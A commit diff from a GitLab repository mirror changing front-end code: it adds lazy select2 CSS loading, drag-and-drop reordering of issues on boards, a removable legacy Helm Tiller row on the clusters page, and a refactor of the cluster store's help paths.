Add latest changes from gitlab-org/gitlab@master
This commit is contained in:
parent
0b81231d2d
commit
28724c880b
62 changed files with 781 additions and 1626 deletions
|
@ -113,7 +113,6 @@ Rails/SaveBang:
|
|||
- 'ee/spec/models/scim_oauth_access_token_spec.rb'
|
||||
- 'ee/spec/models/upload_spec.rb'
|
||||
- 'ee/spec/models/user_preference_spec.rb'
|
||||
- 'ee/spec/models/user_spec.rb'
|
||||
- 'ee/spec/models/visible_approvable_spec.rb'
|
||||
- 'ee/spec/models/vulnerabilities/feedback_spec.rb'
|
||||
- 'ee/spec/models/vulnerabilities/issue_link_spec.rb'
|
||||
|
|
|
@ -1,22 +1,29 @@
|
|||
import $ from 'jquery';
|
||||
import { loadCSSFile } from '../lib/utils/css_utils';
|
||||
|
||||
export default () => {
|
||||
if ($('select.select2').length) {
|
||||
const $select2Elements = $('select.select2');
|
||||
if ($select2Elements.length) {
|
||||
import(/* webpackChunkName: 'select2' */ 'select2/select2')
|
||||
.then(() => {
|
||||
$('select.select2').select2({
|
||||
width: 'resolve',
|
||||
minimumResultsForSearch: 10,
|
||||
dropdownAutoWidth: true,
|
||||
});
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
$select2Elements.select2({
|
||||
width: 'resolve',
|
||||
minimumResultsForSearch: 10,
|
||||
dropdownAutoWidth: true,
|
||||
});
|
||||
|
||||
// Close select2 on escape
|
||||
$('.js-select2').on('select2-close', () => {
|
||||
setTimeout(() => {
|
||||
$('.select2-container-active').removeClass('select2-container-active');
|
||||
$(':focus').blur();
|
||||
}, 1);
|
||||
});
|
||||
// Close select2 on escape
|
||||
$('.js-select2').on('select2-close', () => {
|
||||
requestAnimationFrame(() => {
|
||||
$('.select2-container-active').removeClass('select2-container-active');
|
||||
$(':focus').blur();
|
||||
});
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
})
|
||||
.catch(() => {});
|
||||
}
|
||||
|
|
|
@ -85,6 +85,7 @@ export default {
|
|||
:disabled="disabled"
|
||||
:issues="listIssues"
|
||||
:list="list"
|
||||
:can-admin-list="canAdminList"
|
||||
/>
|
||||
|
||||
<!-- Will be only available in EE -->
|
||||
|
|
|
@ -6,7 +6,6 @@ import boardCard from './board_card.vue';
|
|||
import eventHub from '../eventhub';
|
||||
import boardsStore from '../stores/boards_store';
|
||||
import { sprintf, __ } from '~/locale';
|
||||
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
|
||||
import { deprecatedCreateFlash as createFlash } from '~/flash';
|
||||
import {
|
||||
getBoardSortableDefaultOptions,
|
||||
|
@ -25,7 +24,6 @@ export default {
|
|||
boardNewIssue,
|
||||
GlLoadingIcon,
|
||||
},
|
||||
mixins: [glFeatureFlagMixin()],
|
||||
props: {
|
||||
disabled: {
|
||||
type: Boolean,
|
||||
|
|
|
@ -1,12 +1,14 @@
|
|||
<script>
|
||||
import Draggable from 'vuedraggable';
|
||||
import { mapActions, mapState } from 'vuex';
|
||||
import { GlLoadingIcon } from '@gitlab/ui';
|
||||
import defaultSortableConfig from '~/sortable/sortable_config';
|
||||
import { sortableStart, sortableEnd } from '~/boards/mixins/sortable_default_options';
|
||||
import BoardNewIssue from './board_new_issue_new.vue';
|
||||
import BoardCard from './board_card.vue';
|
||||
import eventHub from '../eventhub';
|
||||
import boardsStore from '../stores/boards_store';
|
||||
import { sprintf, __ } from '~/locale';
|
||||
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
|
||||
|
||||
export default {
|
||||
name: 'BoardList',
|
||||
|
@ -15,7 +17,6 @@ export default {
|
|||
BoardNewIssue,
|
||||
GlLoadingIcon,
|
||||
},
|
||||
mixins: [glFeatureFlagMixin()],
|
||||
props: {
|
||||
disabled: {
|
||||
type: Boolean,
|
||||
|
@ -29,6 +30,11 @@ export default {
|
|||
type: Array,
|
||||
required: true,
|
||||
},
|
||||
canAdminList: {
|
||||
type: Boolean,
|
||||
required: false,
|
||||
default: false,
|
||||
},
|
||||
},
|
||||
data() {
|
||||
return {
|
||||
|
@ -55,12 +61,32 @@ export default {
|
|||
loading() {
|
||||
return this.listsFlags[this.list.id]?.isLoading;
|
||||
},
|
||||
listRef() {
|
||||
// When list is draggable, the reference to the list needs to be accessed differently
|
||||
return this.canAdminList ? this.$refs.list.$el : this.$refs.list;
|
||||
},
|
||||
treeRootWrapper() {
|
||||
return this.canAdminList ? Draggable : 'ul';
|
||||
},
|
||||
treeRootOptions() {
|
||||
const options = {
|
||||
...defaultSortableConfig,
|
||||
fallbackOnBody: false,
|
||||
group: 'boards-list',
|
||||
tag: 'ul',
|
||||
'ghost-class': 'board-card-drag-active',
|
||||
'data-list-id': this.list.id,
|
||||
value: this.issues,
|
||||
};
|
||||
|
||||
return this.canAdminList ? options : {};
|
||||
},
|
||||
},
|
||||
watch: {
|
||||
filters: {
|
||||
handler() {
|
||||
this.list.loadingMore = false;
|
||||
this.$refs.list.scrollTop = 0;
|
||||
this.listRef.scrollTop = 0;
|
||||
},
|
||||
deep: true,
|
||||
},
|
||||
|
@ -76,26 +102,26 @@ export default {
|
|||
},
|
||||
mounted() {
|
||||
// Scroll event on list to load more
|
||||
this.$refs.list.addEventListener('scroll', this.onScroll);
|
||||
this.listRef.addEventListener('scroll', this.onScroll);
|
||||
},
|
||||
beforeDestroy() {
|
||||
eventHub.$off(`toggle-issue-form-${this.list.id}`, this.toggleForm);
|
||||
eventHub.$off(`scroll-board-list-${this.list.id}`, this.scrollToTop);
|
||||
this.$refs.list.removeEventListener('scroll', this.onScroll);
|
||||
this.listRef.removeEventListener('scroll', this.onScroll);
|
||||
},
|
||||
methods: {
|
||||
...mapActions(['fetchIssuesForList']),
|
||||
...mapActions(['fetchIssuesForList', 'moveIssue']),
|
||||
listHeight() {
|
||||
return this.$refs.list.getBoundingClientRect().height;
|
||||
return this.listRef.getBoundingClientRect().height;
|
||||
},
|
||||
scrollHeight() {
|
||||
return this.$refs.list.scrollHeight;
|
||||
return this.listRef.scrollHeight;
|
||||
},
|
||||
scrollTop() {
|
||||
return this.$refs.list.scrollTop + this.listHeight();
|
||||
return this.listRef.scrollTop + this.listHeight();
|
||||
},
|
||||
scrollToTop() {
|
||||
this.$refs.list.scrollTop = 0;
|
||||
this.listRef.scrollTop = 0;
|
||||
},
|
||||
loadNextPage() {
|
||||
const loadingDone = () => {
|
||||
|
@ -120,6 +146,52 @@ export default {
|
|||
}
|
||||
});
|
||||
},
|
||||
handleDragOnStart() {
|
||||
sortableStart();
|
||||
},
|
||||
handleDragOnEnd(params) {
|
||||
sortableEnd();
|
||||
const { newIndex, oldIndex, from, to, item } = params;
|
||||
const { issueId, issueIid, issuePath } = item.dataset;
|
||||
const { children } = to;
|
||||
let moveBeforeId;
|
||||
let moveAfterId;
|
||||
|
||||
const getIssueId = el => Number(el.dataset.issueId);
|
||||
|
||||
// If issue is being moved within the same list
|
||||
if (from === to) {
|
||||
if (newIndex > oldIndex && children.length > 1) {
|
||||
// If issue is being moved down we look for the issue that ends up before
|
||||
moveBeforeId = getIssueId(children[newIndex]);
|
||||
} else if (newIndex < oldIndex && children.length > 1) {
|
||||
// If issue is being moved up we look for the issue that ends up after
|
||||
moveAfterId = getIssueId(children[newIndex]);
|
||||
} else {
|
||||
// If issue remains in the same list at the same position we do nothing
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
// We look for the issue that ends up before the moved issue if it exists
|
||||
if (children[newIndex - 1]) {
|
||||
moveBeforeId = getIssueId(children[newIndex - 1]);
|
||||
}
|
||||
// We look for the issue that ends up after the moved issue if it exists
|
||||
if (children[newIndex]) {
|
||||
moveAfterId = getIssueId(children[newIndex]);
|
||||
}
|
||||
}
|
||||
|
||||
this.moveIssue({
|
||||
issueId,
|
||||
issueIid,
|
||||
issuePath,
|
||||
fromListId: from.dataset.listId,
|
||||
toListId: to.dataset.listId,
|
||||
moveBeforeId,
|
||||
moveAfterId,
|
||||
});
|
||||
},
|
||||
},
|
||||
};
|
||||
</script>
|
||||
|
@ -139,13 +211,18 @@ export default {
|
|||
<gl-loading-icon />
|
||||
</div>
|
||||
<board-new-issue v-if="list.type !== 'closed' && showIssueForm" :list="list" />
|
||||
<ul
|
||||
<component
|
||||
:is="treeRootWrapper"
|
||||
v-show="!loading"
|
||||
ref="list"
|
||||
v-bind="treeRootOptions"
|
||||
:data-board="list.id"
|
||||
:data-board-type="list.type"
|
||||
:class="{ 'bg-danger-100': issuesSizeExceedsMax }"
|
||||
class="board-list gl-w-full gl-h-full gl-list-style-none gl-mb-0 gl-p-2 js-board-list"
|
||||
data-testid="tree-root-wrapper"
|
||||
@start="handleDragOnStart"
|
||||
@end="handleDragOnEnd"
|
||||
>
|
||||
<board-card
|
||||
v-for="(issue, index) in issues"
|
||||
|
@ -161,6 +238,6 @@ export default {
|
|||
<span v-if="issues.length === list.issuesSize">{{ __('Showing all issues') }}</span>
|
||||
<span v-else>{{ paginatedIssueText }}</span>
|
||||
</li>
|
||||
</ul>
|
||||
</component>
|
||||
</div>
|
||||
</template>
|
||||
|
|
|
@ -52,6 +52,7 @@ export default class Clusters {
|
|||
clusterStatus,
|
||||
clusterStatusReason,
|
||||
helpPath,
|
||||
helmHelpPath,
|
||||
ingressHelpPath,
|
||||
ingressDnsHelpPath,
|
||||
ingressModSecurityHelpPath,
|
||||
|
@ -68,8 +69,9 @@ export default class Clusters {
|
|||
this.clusterBannerDismissedKey = `cluster_${this.clusterId}_banner_dismissed`;
|
||||
|
||||
this.store = new ClustersStore();
|
||||
this.store.setHelpPaths(
|
||||
this.store.setHelpPaths({
|
||||
helpPath,
|
||||
helmHelpPath,
|
||||
ingressHelpPath,
|
||||
ingressDnsHelpPath,
|
||||
ingressModSecurityHelpPath,
|
||||
|
@ -78,7 +80,7 @@ export default class Clusters {
|
|||
deployBoardsHelpPath,
|
||||
cloudRunHelpPath,
|
||||
ciliumHelpPath,
|
||||
);
|
||||
});
|
||||
this.store.setManagePrometheusPath(managePrometheusPath);
|
||||
this.store.updateStatus(clusterStatus);
|
||||
this.store.updateStatusReason(clusterStatusReason);
|
||||
|
@ -162,6 +164,7 @@ export default class Clusters {
|
|||
type,
|
||||
applications: this.state.applications,
|
||||
helpPath: this.state.helpPath,
|
||||
helmHelpPath: this.state.helmHelpPath,
|
||||
ingressHelpPath: this.state.ingressHelpPath,
|
||||
managePrometheusPath: this.state.managePrometheusPath,
|
||||
ingressDnsHelpPath: this.state.ingressDnsHelpPath,
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
<script>
|
||||
import { GlLoadingIcon, GlSprintf, GlLink } from '@gitlab/ui';
|
||||
import gitlabLogo from 'images/cluster_app_logos/gitlab.png';
|
||||
import helmLogo from 'images/cluster_app_logos/helm.png';
|
||||
import jupyterhubLogo from 'images/cluster_app_logos/jupyterhub.png';
|
||||
import kubernetesLogo from 'images/cluster_app_logos/kubernetes.png';
|
||||
import certManagerLogo from 'images/cluster_app_logos/cert_manager.png';
|
||||
|
@ -46,6 +47,11 @@ export default {
|
|||
required: false,
|
||||
default: '',
|
||||
},
|
||||
helmHelpPath: {
|
||||
type: String,
|
||||
required: false,
|
||||
default: '',
|
||||
},
|
||||
ingressHelpPath: {
|
||||
type: String,
|
||||
required: false,
|
||||
|
@ -150,6 +156,7 @@ export default {
|
|||
},
|
||||
logos: {
|
||||
gitlabLogo,
|
||||
helmLogo,
|
||||
jupyterhubLogo,
|
||||
kubernetesLogo,
|
||||
certManagerLogo,
|
||||
|
@ -172,6 +179,35 @@ export default {
|
|||
</p>
|
||||
|
||||
<div class="cluster-application-list gl-mt-3">
|
||||
<application-row
|
||||
v-if="applications.helm.installed || applications.helm.uninstalling"
|
||||
id="helm"
|
||||
:logo-url="$options.logos.helmLogo"
|
||||
:title="applications.helm.title"
|
||||
:status="applications.helm.status"
|
||||
:status-reason="applications.helm.statusReason"
|
||||
:request-status="applications.helm.requestStatus"
|
||||
:request-reason="applications.helm.requestReason"
|
||||
:installed="applications.helm.installed"
|
||||
:install-failed="applications.helm.installFailed"
|
||||
:uninstallable="applications.helm.uninstallable"
|
||||
:uninstall-successful="applications.helm.uninstallSuccessful"
|
||||
:uninstall-failed="applications.helm.uninstallFailed"
|
||||
title-link="https://v2.helm.sh/"
|
||||
>
|
||||
<template #description>
|
||||
<p>
|
||||
{{
|
||||
s__(`ClusterIntegration|Can be safely removed. Prior to GitLab
|
||||
13.2, GitLab used a remote Tiller server to manage the
|
||||
applications. GitLab no longer uses this server.
|
||||
Uninstalling this server will not affect your other
|
||||
applications. This row will disappear afterwards.`)
|
||||
}}
|
||||
<gl-link :href="helmHelpPath">{{ __('More information') }}</gl-link>
|
||||
</p>
|
||||
</template>
|
||||
</application-row>
|
||||
<application-row
|
||||
:id="ingressId"
|
||||
:logo-url="$options.logos.kubernetesLogo"
|
||||
|
|
|
@ -16,7 +16,7 @@ import {
|
|||
const CUSTOM_APP_WARNING_TEXT = {
|
||||
[HELM]: sprintf(
|
||||
s__(
|
||||
'ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored.',
|
||||
'ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected.',
|
||||
),
|
||||
{
|
||||
gitlabManagedAppsNamespace: '<code>gitlab-managed-apps</code>',
|
||||
|
|
|
@ -193,6 +193,12 @@ const applicationStateMachine = {
|
|||
uninstallSuccessful: true,
|
||||
},
|
||||
},
|
||||
[NOT_INSTALLABLE]: {
|
||||
target: NOT_INSTALLABLE,
|
||||
effects: {
|
||||
uninstallSuccessful: true,
|
||||
},
|
||||
},
|
||||
[UNINSTALL_ERRORED]: {
|
||||
target: INSTALLED,
|
||||
effects: {
|
||||
|
|
|
@ -36,6 +36,7 @@ export default class ClusterStore {
|
|||
constructor() {
|
||||
this.state = {
|
||||
helpPath: null,
|
||||
helmHelpPath: null,
|
||||
ingressHelpPath: null,
|
||||
environmentsHelpPath: null,
|
||||
clustersHelpPath: null,
|
||||
|
@ -49,7 +50,7 @@ export default class ClusterStore {
|
|||
applications: {
|
||||
helm: {
|
||||
...applicationInitialState,
|
||||
title: s__('ClusterIntegration|Helm Tiller'),
|
||||
title: s__('ClusterIntegration|Legacy Helm Tiller server'),
|
||||
},
|
||||
ingress: {
|
||||
...applicationInitialState,
|
||||
|
@ -126,26 +127,10 @@ export default class ClusterStore {
|
|||
};
|
||||
}
|
||||
|
||||
setHelpPaths(
|
||||
helpPath,
|
||||
ingressHelpPath,
|
||||
ingressDnsHelpPath,
|
||||
ingressModSecurityHelpPath,
|
||||
environmentsHelpPath,
|
||||
clustersHelpPath,
|
||||
deployBoardsHelpPath,
|
||||
cloudRunHelpPath,
|
||||
ciliumHelpPath,
|
||||
) {
|
||||
this.state.helpPath = helpPath;
|
||||
this.state.ingressHelpPath = ingressHelpPath;
|
||||
this.state.ingressDnsHelpPath = ingressDnsHelpPath;
|
||||
this.state.ingressModSecurityHelpPath = ingressModSecurityHelpPath;
|
||||
this.state.environmentsHelpPath = environmentsHelpPath;
|
||||
this.state.clustersHelpPath = clustersHelpPath;
|
||||
this.state.deployBoardsHelpPath = deployBoardsHelpPath;
|
||||
this.state.cloudRunHelpPath = cloudRunHelpPath;
|
||||
this.state.ciliumHelpPath = ciliumHelpPath;
|
||||
setHelpPaths(helpPaths) {
|
||||
Object.assign(this.state, {
|
||||
...helpPaths,
|
||||
});
|
||||
}
|
||||
|
||||
setManagePrometheusPath(managePrometheusPath) {
|
||||
|
|
|
@ -4,97 +4,107 @@ import axios from './lib/utils/axios_utils';
|
|||
import Api from './api';
|
||||
import { normalizeHeaders } from './lib/utils/common_utils';
|
||||
import { __ } from '~/locale';
|
||||
import { loadCSSFile } from './lib/utils/css_utils';
|
||||
|
||||
const fetchGroups = params => {
|
||||
axios[params.type.toLowerCase()](params.url, {
|
||||
params: params.data,
|
||||
})
|
||||
.then(res => {
|
||||
const results = res.data || [];
|
||||
const headers = normalizeHeaders(res.headers);
|
||||
const currentPage = parseInt(headers['X-PAGE'], 10) || 0;
|
||||
const totalPages = parseInt(headers['X-TOTAL-PAGES'], 10) || 0;
|
||||
const more = currentPage < totalPages;
|
||||
|
||||
params.success({
|
||||
results,
|
||||
pagination: {
|
||||
more,
|
||||
},
|
||||
});
|
||||
})
|
||||
.catch(params.error);
|
||||
};
|
||||
|
||||
const groupsSelect = () => {
|
||||
// Needs to be accessible in rspec
|
||||
window.GROUP_SELECT_PER_PAGE = 20;
|
||||
$('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
|
||||
const $select = $(this);
|
||||
const allAvailable = $select.data('allAvailable');
|
||||
const skipGroups = $select.data('skipGroups') || [];
|
||||
const parentGroupID = $select.data('parentId');
|
||||
const groupsPath = parentGroupID
|
||||
? Api.subgroupsPath.replace(':id', parentGroupID)
|
||||
: Api.groupsPath;
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
// Needs to be accessible in rspec
|
||||
window.GROUP_SELECT_PER_PAGE = 20;
|
||||
|
||||
$select.select2({
|
||||
placeholder: __('Search for a group'),
|
||||
allowClear: $select.hasClass('allowClear'),
|
||||
multiple: $select.hasClass('multiselect'),
|
||||
minimumInputLength: 0,
|
||||
ajax: {
|
||||
url: Api.buildUrl(groupsPath),
|
||||
dataType: 'json',
|
||||
quietMillis: 250,
|
||||
transport(params) {
|
||||
axios[params.type.toLowerCase()](params.url, {
|
||||
params: params.data,
|
||||
})
|
||||
.then(res => {
|
||||
const results = res.data || [];
|
||||
const headers = normalizeHeaders(res.headers);
|
||||
const currentPage = parseInt(headers['X-PAGE'], 10) || 0;
|
||||
const totalPages = parseInt(headers['X-TOTAL-PAGES'], 10) || 0;
|
||||
const more = currentPage < totalPages;
|
||||
$('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
|
||||
const $select = $(this);
|
||||
const allAvailable = $select.data('allAvailable');
|
||||
const skipGroups = $select.data('skipGroups') || [];
|
||||
const parentGroupID = $select.data('parentId');
|
||||
const groupsPath = parentGroupID
|
||||
? Api.subgroupsPath.replace(':id', parentGroupID)
|
||||
: Api.groupsPath;
|
||||
|
||||
params.success({
|
||||
$select.select2({
|
||||
placeholder: __('Search for a group'),
|
||||
allowClear: $select.hasClass('allowClear'),
|
||||
multiple: $select.hasClass('multiselect'),
|
||||
minimumInputLength: 0,
|
||||
ajax: {
|
||||
url: Api.buildUrl(groupsPath),
|
||||
dataType: 'json',
|
||||
quietMillis: 250,
|
||||
transport(params) {
|
||||
fetchGroups(params);
|
||||
},
|
||||
data(search, page) {
|
||||
return {
|
||||
search,
|
||||
page,
|
||||
per_page: window.GROUP_SELECT_PER_PAGE,
|
||||
all_available: allAvailable,
|
||||
};
|
||||
},
|
||||
results(data, page) {
|
||||
if (data.length) return { results: [] };
|
||||
|
||||
const groups = data.length ? data : data.results || [];
|
||||
const more = data.pagination ? data.pagination.more : false;
|
||||
const results = groups.filter(group => skipGroups.indexOf(group.id) === -1);
|
||||
|
||||
return {
|
||||
results,
|
||||
pagination: {
|
||||
more,
|
||||
},
|
||||
});
|
||||
})
|
||||
.catch(params.error);
|
||||
},
|
||||
data(search, page) {
|
||||
return {
|
||||
search,
|
||||
page,
|
||||
per_page: window.GROUP_SELECT_PER_PAGE,
|
||||
all_available: allAvailable,
|
||||
};
|
||||
},
|
||||
results(data, page) {
|
||||
if (data.length) return { results: [] };
|
||||
page,
|
||||
more,
|
||||
};
|
||||
},
|
||||
},
|
||||
// eslint-disable-next-line consistent-return
|
||||
initSelection(element, callback) {
|
||||
const id = $(element).val();
|
||||
if (id !== '') {
|
||||
return Api.group(id, callback);
|
||||
}
|
||||
},
|
||||
formatResult(object) {
|
||||
return `<div class='group-result'> <div class='group-name'>${escape(
|
||||
object.full_name,
|
||||
)}</div> <div class='group-path'>${object.full_path}</div> </div>`;
|
||||
},
|
||||
formatSelection(object) {
|
||||
return escape(object.full_name);
|
||||
},
|
||||
dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
|
||||
// we do not want to escape markup since we are displaying html in results
|
||||
escapeMarkup(m) {
|
||||
return m;
|
||||
},
|
||||
});
|
||||
|
||||
const groups = data.length ? data : data.results || [];
|
||||
const more = data.pagination ? data.pagination.more : false;
|
||||
const results = groups.filter(group => skipGroups.indexOf(group.id) === -1);
|
||||
|
||||
return {
|
||||
results,
|
||||
page,
|
||||
more,
|
||||
};
|
||||
},
|
||||
},
|
||||
// eslint-disable-next-line consistent-return
|
||||
initSelection(element, callback) {
|
||||
const id = $(element).val();
|
||||
if (id !== '') {
|
||||
return Api.group(id, callback);
|
||||
}
|
||||
},
|
||||
formatResult(object) {
|
||||
return `<div class='group-result'> <div class='group-name'>${escape(
|
||||
object.full_name,
|
||||
)}</div> <div class='group-path'>${object.full_path}</div> </div>`;
|
||||
},
|
||||
formatSelection(object) {
|
||||
return escape(object.full_name);
|
||||
},
|
||||
dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
|
||||
// we do not want to escape markup since we are displaying html in results
|
||||
escapeMarkup(m) {
|
||||
return m;
|
||||
},
|
||||
});
|
||||
|
||||
$select.on('select2-loaded', () => {
|
||||
const dropdown = document.querySelector('.select2-infinite .select2-results');
|
||||
dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
|
||||
});
|
||||
});
|
||||
$select.on('select2-loaded', () => {
|
||||
const dropdown = document.querySelector('.select2-infinite .select2-results');
|
||||
dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
|
||||
});
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
};
|
||||
|
||||
export default () => {
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import $ from 'jquery';
|
||||
import { loadCSSFile } from '../lib/utils/css_utils';
|
||||
|
||||
let instanceCount = 0;
|
||||
|
||||
|
@ -13,10 +14,15 @@ class AutoWidthDropdownSelect {
|
|||
const { dropdownClass } = this;
|
||||
import(/* webpackChunkName: 'select2' */ 'select2/select2')
|
||||
.then(() => {
|
||||
this.$selectElement.select2({
|
||||
dropdownCssClass: dropdownClass,
|
||||
...AutoWidthDropdownSelect.selectOptions(this.dropdownClass),
|
||||
});
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
this.$selectElement.select2({
|
||||
dropdownCssClass: dropdownClass,
|
||||
...AutoWidthDropdownSelect.selectOptions(this.dropdownClass),
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
|
|
|
@ -2,6 +2,7 @@ import $ from 'jquery';
|
|||
import Cookies from 'js-cookie';
|
||||
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
|
||||
import UsersSelect from './users_select';
|
||||
import { loadCSSFile } from './lib/utils/css_utils';
|
||||
|
||||
export default class IssuableContext {
|
||||
constructor(currentUser) {
|
||||
|
@ -10,10 +11,15 @@ export default class IssuableContext {
|
|||
|
||||
import(/* webpackChunkName: 'select2' */ 'select2/select2')
|
||||
.then(() => {
|
||||
$('select.select2').select2({
|
||||
width: 'resolve',
|
||||
dropdownAutoWidth: true,
|
||||
});
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
$('select.select2').select2({
|
||||
width: 'resolve',
|
||||
dropdownAutoWidth: true,
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
|
|
|
@ -7,6 +7,7 @@ import ZenMode from './zen_mode';
|
|||
import AutoWidthDropdownSelect from './issuable/auto_width_dropdown_select';
|
||||
import { parsePikadayDate, pikadayToString } from './lib/utils/datetime_utility';
|
||||
import { queryToObject, objectToQuery } from './lib/utils/url_utility';
|
||||
import { loadCSSFile } from './lib/utils/css_utils';
|
||||
|
||||
const MR_SOURCE_BRANCH = 'merge_request[source_branch]';
|
||||
const MR_TARGET_BRANCH = 'merge_request[target_branch]';
|
||||
|
@ -184,36 +185,41 @@ export default class IssuableForm {
|
|||
initTargetBranchDropdown() {
|
||||
import(/* webpackChunkName: 'select2' */ 'select2/select2')
|
||||
.then(() => {
|
||||
this.$targetBranchSelect.select2({
|
||||
...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
|
||||
ajax: {
|
||||
url: this.$targetBranchSelect.data('endpoint'),
|
||||
dataType: 'JSON',
|
||||
quietMillis: 250,
|
||||
data(search) {
|
||||
return {
|
||||
search,
|
||||
};
|
||||
},
|
||||
results(data) {
|
||||
return {
|
||||
// `data` keys are translated so we can't just access them with a string based key
|
||||
results: data[Object.keys(data)[0]].map(name => ({
|
||||
id: name,
|
||||
text: name,
|
||||
})),
|
||||
};
|
||||
},
|
||||
},
|
||||
initSelection(el, callback) {
|
||||
const val = el.val();
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
this.$targetBranchSelect.select2({
|
||||
...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
|
||||
ajax: {
|
||||
url: this.$targetBranchSelect.data('endpoint'),
|
||||
dataType: 'JSON',
|
||||
quietMillis: 250,
|
||||
data(search) {
|
||||
return {
|
||||
search,
|
||||
};
|
||||
},
|
||||
results(data) {
|
||||
return {
|
||||
// `data` keys are translated so we can't just access them with a string based key
|
||||
results: data[Object.keys(data)[0]].map(name => ({
|
||||
id: name,
|
||||
text: name,
|
||||
})),
|
||||
};
|
||||
},
|
||||
},
|
||||
initSelection(el, callback) {
|
||||
const val = el.val();
|
||||
|
||||
callback({
|
||||
id: val,
|
||||
text: val,
|
||||
callback({
|
||||
id: val,
|
||||
text: val,
|
||||
});
|
||||
},
|
||||
});
|
||||
},
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
})
|
||||
.catch(() => {});
|
||||
}
|
||||
|
|
|
@ -54,7 +54,6 @@ import { s__ } from '~/locale';
|
|||
file.promptDiscardConfirmation = false;
|
||||
file.resolveMode = DEFAULT_RESOLVE_MODE;
|
||||
file.filePath = this.getFilePath(file);
|
||||
file.iconClass = `fa-${file.blob_icon}`;
|
||||
file.blobPath = file.blob_path;
|
||||
|
||||
if (file.type === CONFLICT_TYPES.TEXT) {
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
import $ from 'jquery';
|
||||
import Vue from 'vue';
|
||||
import FileIcon from '~/vue_shared/components/file_icon.vue';
|
||||
import { deprecatedCreateFlash as createFlash } from '../flash';
|
||||
import initIssuableSidebar from '../init_issuable_sidebar';
|
||||
import './merge_conflict_store';
|
||||
|
@ -24,6 +25,7 @@ export default function initMergeConflicts() {
|
|||
gl.MergeConflictsResolverApp = new Vue({
|
||||
el: '#conflicts',
|
||||
components: {
|
||||
FileIcon,
|
||||
'diff-file-editor': gl.mergeConflicts.diffFileEditor,
|
||||
'inline-conflict-lines': gl.mergeConflicts.inlineConflictLines,
|
||||
'parallel-conflict-lines': gl.mergeConflicts.parallelConflictLines,
|
||||
|
|
|
@ -4,110 +4,116 @@ import $ from 'jquery';
|
|||
import Api from './api';
|
||||
import ProjectSelectComboButton from './project_select_combo_button';
|
||||
import { s__ } from './locale';
|
||||
import { loadCSSFile } from './lib/utils/css_utils';
|
||||
|
||||
const projectSelect = () => {
|
||||
$('.ajax-project-select').each(function(i, select) {
|
||||
let placeholder;
|
||||
const simpleFilter = $(select).data('simpleFilter') || false;
|
||||
const isInstantiated = $(select).data('select2');
|
||||
this.groupId = $(select).data('groupId');
|
||||
this.userId = $(select).data('userId');
|
||||
this.includeGroups = $(select).data('includeGroups');
|
||||
this.allProjects = $(select).data('allProjects') || false;
|
||||
this.orderBy = $(select).data('orderBy') || 'id';
|
||||
this.withIssuesEnabled = $(select).data('withIssuesEnabled');
|
||||
this.withMergeRequestsEnabled = $(select).data('withMergeRequestsEnabled');
|
||||
this.withShared =
|
||||
$(select).data('withShared') === undefined ? true : $(select).data('withShared');
|
||||
this.includeProjectsInSubgroups = $(select).data('includeProjectsInSubgroups') || false;
|
||||
this.allowClear = $(select).data('allowClear') || false;
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
$('.ajax-project-select').each(function(i, select) {
|
||||
let placeholder;
|
||||
const simpleFilter = $(select).data('simpleFilter') || false;
|
||||
const isInstantiated = $(select).data('select2');
|
||||
this.groupId = $(select).data('groupId');
|
||||
this.userId = $(select).data('userId');
|
||||
this.includeGroups = $(select).data('includeGroups');
|
||||
this.allProjects = $(select).data('allProjects') || false;
|
||||
this.orderBy = $(select).data('orderBy') || 'id';
|
||||
this.withIssuesEnabled = $(select).data('withIssuesEnabled');
|
||||
this.withMergeRequestsEnabled = $(select).data('withMergeRequestsEnabled');
|
||||
this.withShared =
|
||||
$(select).data('withShared') === undefined ? true : $(select).data('withShared');
|
||||
this.includeProjectsInSubgroups = $(select).data('includeProjectsInSubgroups') || false;
|
||||
this.allowClear = $(select).data('allowClear') || false;
|
||||
|
||||
placeholder = s__('ProjectSelect|Search for project');
|
||||
if (this.includeGroups) {
|
||||
placeholder += s__('ProjectSelect| or group');
|
||||
}
|
||||
|
||||
$(select).select2({
|
||||
placeholder,
|
||||
minimumInputLength: 0,
|
||||
query: query => {
|
||||
let projectsCallback;
|
||||
const finalCallback = function(projects) {
|
||||
const data = {
|
||||
results: projects,
|
||||
};
|
||||
return query.callback(data);
|
||||
};
|
||||
placeholder = s__('ProjectSelect|Search for project');
|
||||
if (this.includeGroups) {
|
||||
projectsCallback = function(projects) {
|
||||
const groupsCallback = function(groups) {
|
||||
const data = groups.concat(projects);
